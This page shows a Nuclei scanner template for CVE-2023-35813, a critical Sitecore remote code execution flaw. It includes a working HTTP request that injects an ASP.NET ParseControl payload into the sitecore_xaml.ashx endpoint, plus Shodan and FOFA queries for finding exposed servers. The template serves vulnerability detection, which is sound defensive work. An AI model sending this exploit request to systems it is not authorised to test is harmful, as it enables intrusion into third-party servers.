Sitecore - Remote Code Execution

ID: CVE-2023-35813

Severity: critical

Author: DhiyaneshDk,iamnoooob

Tags: cve2023,cve,sitecore,rce

Description

Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.

YAML Source

id: CVE-2023-35813

info:
  name: Sitecore - Remote Code Execution
  author: DhiyaneshDk,iamnoooob
  severity: critical
  description: |
    Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
  reference:
    - https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
    - https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35813
    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
    - https://github.com/BagheeraAltered/CVE-2023-35813-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-35813
    cwe-id: CWE-22,CWE-23
    epss-score: 0.8819
    epss-percentile: 0.98674
    cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sitecore
    product: experience_commerce
    shodan-query:
      - title:"Sitecore"
      - http.title:"sitecore"
    fofa-query: title="sitecore"
    google-query: intitle:"sitecore"
  tags: cve2023,cve,sitecore,rce
variables:
  string: "{{rand_base(6)}}"
  payload: |
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
        Context-Response-ContentType='{{string}}'
    />

http:
  - raw:
      - |
        POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")

    matchers:
      - type: dsl
        dsl:
          - contains(content_type, '{{string}}')
          - contains_all(body, 'commands', 'command', 'value')
          - status_code == 200
        condition: and
# digest: 4b0a004830460221009165a7c2b7c9c97097af8ca115e0e2b9adde7a9659a5431140c82497133fee0f022100c95276a6e3553652ecc51148fcae0492e25062497e19129402a3a8856c7a1871:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35813.yaml"

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